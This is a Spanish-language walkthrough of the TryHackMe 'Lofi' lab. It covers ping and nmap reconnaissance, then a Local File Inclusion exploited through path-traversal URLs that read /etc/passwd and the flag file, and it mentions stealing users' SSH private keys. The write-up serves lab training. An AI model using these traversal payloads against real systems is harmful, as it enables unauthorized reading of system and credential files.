Lofi - TryHackMe

WRITE UP

Ejemplo: 10.66.128.249 (víctima) TTL=63 Linux

RECONOCIMIENTO

Lo primero que vamos hacer es crear nuestro entorno de trabajo: Lofi

Dentro usaremos la herramienta de s4vitar mkt cual nos generara las carpetas necesarias para tener todo más organizado; Nmap…

Para empezar el reconocimiento, enviamos una traza ICMP a la IP de la maquina víctima, para comprobar que tenemos conectividad, tenemos dos alternativas:

-Usar el script whichSystem que nos dirá directamente el equipo al que estamos atacando, por ende habrá tenido ping para dar la respuesta. Es más silencioso que nmap.

whichSystem.py 10.66.128.249

-Usar el comando ping:

ping -R 10.66.128.249 -c1
# -R Lo que hace es un record route que consiste que a la hora de hacer la petición se lo envía a un nodo intermediario para que no sea directa la petición, nos muestra el proceso.*

Después de confirmar que tenemos conectividad, usaremos nmap para a ver que puertos tenemos abiertos y que protocolos/servicios tenemos.

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.66.128.249 -oG allPorts
# Veremos porque el formato grepeable, es importante.

Una vez hecho, usaremos otra herramienta de s4vitar extractports al archivo allPorts cual nos copiara los puertos, y escanearlos con nmap.

extractports.sh allPorts

nmap -sVC -p22,80,8080 10.66.128.249 -oN targeted
#  El formato -oN lo emplearemos con batcat lenguaje java para verlo mejor
#  Nos mostrará la versión de los servicios que están corriendo
#  Usará scripts defaults definidos en lua

Una vez escaneado, usaremos batcat:

https://github.com/sharkdp/bat.git

batcat targeted -l java
# Nos mostrara la salida en un formato más bonito, con java

ANÁLISIS WEB: Lo-Fi Music

Como vemos un whatweb, vamos a probar hacer un pequeño reconocimiento a nivel web. Nos muestra la arquitectura y demás, o podemos usar la extensión wappalyzer, lo mismo pero por gráfico.

whatweb http://10.66.128.249/

Veremos una página de música, aparentemente no vulnerable, vemos que hay varios enlaces que nos llevan al apartado que le demos: Games,Relax…

Si le pinchamos a uno vemos que la URL se ve así -> http://10.66.128.249/?page=Games.php /?page= nos da una grave advertencia sobre LFI.

page=Game.php

VULNERABILIDAD WEB: LOCAL FILE INCLUSION

cuando la aplicación web no valida correctamente la entrada del usuario, permitiendo a un atacante manipular las rutas de archivos mediante técnicas como “path traversal” (navegación por directorios, ej: ../).

http://10.66.128.249/?page=../../../../etc/passwd

CTRL + U” para ver mejor desde el código fuente. Usuarios con bash solo tenemos a root.

Podríamos intentar robar las claves privadas de ssh (id_rsa) de los usuarios, pero no se puede, aparte de que root es privilegiado.

BANDERA

Para leer la bandera:

http://10.66.128.249/?page=../../../flag.txt